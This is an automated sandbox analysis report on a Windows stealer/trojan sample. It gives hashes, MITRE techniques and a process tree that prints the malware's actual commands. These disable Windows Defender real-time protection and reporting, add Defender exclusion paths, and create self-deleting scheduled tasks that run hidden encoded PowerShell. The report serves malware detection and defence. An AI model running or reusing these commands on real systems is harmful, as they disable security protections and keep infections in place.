6d7bfc2ddcdea1d8f1ed756c58853ae3338afc9198e6bb4882d9f9df0ef3d862

Analysis

max time kernel
152s
max time network
144s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
11-05-2023 18:48

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

file.exe
Size

7.3MB
MD5

95847f9fce54f3c792bb0cc069a025c8
SHA1

9c5c6647ec35e1719581ae0bf3bc710f6c8b5d5c
SHA256

6d7bfc2ddcdea1d8f1ed756c58853ae3338afc9198e6bb4882d9f9df0ef3d862
SHA512

469d1564c57ef5444f636f1b07aeaca54c1bdab2c1290528a4f2727811b375cf4963b79cf0e53b82552a822ab14b02b37be637111640238546034a46c6c85863
SSDEEP

196608:91OKdZBePTgfIKCicyeJ9lTEraK6jDstqn0H5AhksAwv:3OyfePkTHpeJ9lTI7hZMv

Score

10^/10

evasion spyware stealer trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Modify Existing Service

T1031

Disabling Security Tools

T1089

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Windows security bypass 2 TTPs 40 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\UlGsgVFWrfmwSkkD = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	conhost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\WXwnXrQJmNgdksVB = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\UlGsgVFWrfmwSkkD = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\iItkltQkPYUn = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\gDseFfFHymBjC = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\iItkltQkPYUn = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\iYOoVaBuYJdU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\OJemnJPHU = "0"	conhost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\UlGsgVFWrfmwSkkD = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\jFYNCYhROueFLJolY = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\WXwnXrQJmNgdksVB = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\QlUqjwQLKgwemWkLtfR = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\gDseFfFHymBjC = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\UlGsgVFWrfmwSkkD = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\jFYNCYhROueFLJolY = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\QlUqjwQLKgwemWkLtfR = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\iYOoVaBuYJdU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	Process not Found
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\OJemnJPHU = "0"	Process not Found

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Executes dropped EXE 4 IoCs

pid	Process
2012	Install.exe
552	Install.exe
316	EqSeURi.exe
1524	dbOevXm.exe

Loads dropped DLL 8 IoCs

pid	Process
1120	file.exe
2012	Install.exe
2012	Install.exe
2012	Install.exe
2012	Install.exe
552	Install.exe
552	Install.exe
552	Install.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Drops file in System32 directory 8 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	EqSeURi.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	EqSeURi.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	EqSeURi.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\OJemnJPHU\Nvcwjk.dll	dbOevXm.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\bbXoAwMbDRqGwpaHzT.job	schtasks.exe
File created	C:\Windows\Tasks\OnsXjgPYTDvNeiHSN.job	schtasks.exe
File created	C:\Windows\Tasks\TcVNwhqOGWdpaeV.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 7 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1696	schtasks.exe
2004	schtasks.exe
1728	schtasks.exe
1084	schtasks.exe
1524	schtasks.exe
1696	schtasks.exe
1536	schtasks.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host\Settings	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	wscript.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

pid	Process
1988	powershell.EXE
1988	powershell.EXE
1988	powershell.EXE
1448	powershell.EXE
1448	powershell.EXE
1448	powershell.EXE
612	powershell.EXE
612	powershell.EXE
612	powershell.EXE
1436	powershell.EXE
1436	powershell.EXE
1436	powershell.EXE
1524	dbOevXm.exe
1524	dbOevXm.exe
1524	dbOevXm.exe
1524	dbOevXm.exe
1524	dbOevXm.exe
1524	dbOevXm.exe
1524	dbOevXm.exe
1524	dbOevXm.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1988	powershell.EXE
Token: SeDebugPrivilege	1448	powershell.EXE
Token: SeDebugPrivilege	612	powershell.EXE
Token: SeDebugPrivilege	1436	powershell.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1120 wrote to memory of 2012	1120	file.exe	27
PID 1120 wrote to memory of 2012	1120	file.exe	27
PID 1120 wrote to memory of 2012	1120	file.exe	27
PID 1120 wrote to memory of 2012	1120	file.exe	27
PID 1120 wrote to memory of 2012	1120	file.exe	27
PID 1120 wrote to memory of 2012	1120	file.exe	27
PID 1120 wrote to memory of 2012	1120	file.exe	27
PID 2012 wrote to memory of 552	2012	Install.exe	28
PID 2012 wrote to memory of 552	2012	Install.exe	28
PID 2012 wrote to memory of 552	2012	Install.exe	28
PID 2012 wrote to memory of 552	2012	Install.exe	28
PID 2012 wrote to memory of 552	2012	Install.exe	28
PID 2012 wrote to memory of 552	2012	Install.exe	28
PID 2012 wrote to memory of 552	2012	Install.exe	28
PID 552 wrote to memory of 1408	552	Install.exe	30
PID 552 wrote to memory of 1408	552	Install.exe	30
PID 552 wrote to memory of 1408	552	Install.exe	30
PID 552 wrote to memory of 1408	552	Install.exe	30
PID 552 wrote to memory of 1408	552	Install.exe	30
PID 552 wrote to memory of 1408	552	Install.exe	30
PID 552 wrote to memory of 1408	552	Install.exe	30
PID 552 wrote to memory of 1536	552	Install.exe	32
PID 552 wrote to memory of 1536	552	Install.exe	32
PID 552 wrote to memory of 1536	552	Install.exe	32
PID 552 wrote to memory of 1536	552	Install.exe	32
PID 552 wrote to memory of 1536	552	Install.exe	32
PID 552 wrote to memory of 1536	552	Install.exe	32
PID 552 wrote to memory of 1536	552	Install.exe	32
PID 1408 wrote to memory of 728	1408	forfiles.exe	34
PID 1408 wrote to memory of 728	1408	forfiles.exe	34
PID 1408 wrote to memory of 728	1408	forfiles.exe	34
PID 1408 wrote to memory of 728	1408	forfiles.exe	34
PID 1408 wrote to memory of 728	1408	forfiles.exe	34
PID 1408 wrote to memory of 728	1408	forfiles.exe	34
PID 1408 wrote to memory of 728	1408	forfiles.exe	34
PID 1536 wrote to memory of 920	1536	forfiles.exe	35
PID 1536 wrote to memory of 920	1536	forfiles.exe	35
PID 1536 wrote to memory of 920	1536	forfiles.exe	35
PID 1536 wrote to memory of 920	1536	forfiles.exe	35
PID 1536 wrote to memory of 920	1536	forfiles.exe	35
PID 1536 wrote to memory of 920	1536	forfiles.exe	35
PID 1536 wrote to memory of 920	1536	forfiles.exe	35
PID 728 wrote to memory of 584	728	cmd.exe	37
PID 728 wrote to memory of 584	728	cmd.exe	37
PID 728 wrote to memory of 584	728	cmd.exe	37
PID 728 wrote to memory of 584	728	cmd.exe	37
PID 728 wrote to memory of 584	728	cmd.exe	37
PID 728 wrote to memory of 584	728	cmd.exe	37
PID 728 wrote to memory of 584	728	cmd.exe	37
PID 920 wrote to memory of 1384	920	cmd.exe	36
PID 920 wrote to memory of 1384	920	cmd.exe	36
PID 920 wrote to memory of 1384	920	cmd.exe	36
PID 920 wrote to memory of 1384	920	cmd.exe	36
PID 920 wrote to memory of 1384	920	cmd.exe	36
PID 920 wrote to memory of 1384	920	cmd.exe	36
PID 920 wrote to memory of 1384	920	cmd.exe	36
PID 920 wrote to memory of 108	920	cmd.exe	39
PID 920 wrote to memory of 108	920	cmd.exe	39
PID 920 wrote to memory of 108	920	cmd.exe	39
PID 920 wrote to memory of 108	920	cmd.exe	39
PID 920 wrote to memory of 108	920	cmd.exe	39
PID 920 wrote to memory of 108	920	cmd.exe	39
PID 920 wrote to memory of 108	920	cmd.exe	39
PID 728 wrote to memory of 648	728	cmd.exe	38

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1120
- C:\Users\Admin\AppData\Local\Temp\7zS5014.tmp\Install.exe
  .\Install.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2012
- - C:\Users\Admin\AppData\Local\Temp\7zS5513.tmp\Install.exe
    .\Install.exe /S /site_id "525403"
    3⤵
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in System32 directory
    - Enumerates system info in registry
    - Suspicious use of WriteProcessMemory
    PID:552
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1408
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:728
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        6⤵
        
        PID:584
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        6⤵
        
        PID:648
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1536
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:920
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        6⤵
        
        PID:1384
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        6⤵
        
        PID:108
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "gsDPmbYlM" /SC once /ST 13:05:45 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
      4⤵
      Creates scheduled task(s)
      PID:1524
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /run /I /tn "gsDPmbYlM"
      4⤵
      PID:1972
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /DELETE /F /TN "gsDPmbYlM"
      4⤵
      PID:1996
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "bbXoAwMbDRqGwpaHzT" /SC once /ST 18:56:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\jFYNCYhROueFLJolY\PkhyGLXYfNEbthO\EqSeURi.exe\" dk /site_id 525403 /S" /V1 /F
      4⤵
      Drops file in Windows directory
      Creates scheduled task(s)
      PID:1696

C:\Windows\system32\taskeng.exe
taskeng.exe {B27B97B8-4703-41AC-B6EA-B613D3726AD6} S-1-5-21-1563773381-2037468142-1146002597-1000:YBHADZIG\Admin:Interactive:[1]
1⤵
PID:1956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1988
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:1776
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1448
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:1972
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:612
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:2036
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1436
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:920

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1768

C:\Windows\system32\taskeng.exe
taskeng.exe {035E63A0-0B8C-4ED0-A68D-B9F662432C81} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:748
- C:\Users\Admin\AppData\Local\Temp\jFYNCYhROueFLJolY\PkhyGLXYfNEbthO\EqSeURi.exe
  C:\Users\Admin\AppData\Local\Temp\jFYNCYhROueFLJolY\PkhyGLXYfNEbthO\EqSeURi.exe dk /site_id 525403 /S
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  PID:316
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gQpgSyLHT" /SC once /ST 04:24:22 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:1536
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gQpgSyLHT"
    3⤵
    PID:728
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gQpgSyLHT"
    3⤵
    PID:856
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
    3⤵
    PID:1636
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:1300
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
    3⤵
    PID:1600
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:1576
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gjrcfWMjx" /SC once /ST 16:51:15 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:1696
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gjrcfWMjx"
    3⤵
    PID:1436
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gjrcfWMjx"
    3⤵
    PID:1004
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UlGsgVFWrfmwSkkD" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2020
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UlGsgVFWrfmwSkkD" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1612
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UlGsgVFWrfmwSkkD" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1728
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UlGsgVFWrfmwSkkD" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1676
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UlGsgVFWrfmwSkkD" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1248
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UlGsgVFWrfmwSkkD" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1768
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UlGsgVFWrfmwSkkD" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1524
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UlGsgVFWrfmwSkkD" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1048
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C copy nul "C:\Windows\Temp\UlGsgVFWrfmwSkkD\bMUgAfpQ\eLIUmzTmWQkJiULR.wsf"
    3⤵
    PID:1620
- - C:\Windows\SysWOW64\wscript.exe
    wscript "C:\Windows\Temp\UlGsgVFWrfmwSkkD\bMUgAfpQ\eLIUmzTmWQkJiULR.wsf"
    3⤵
    - Modifies data under HKEY_USERS
    PID:1492
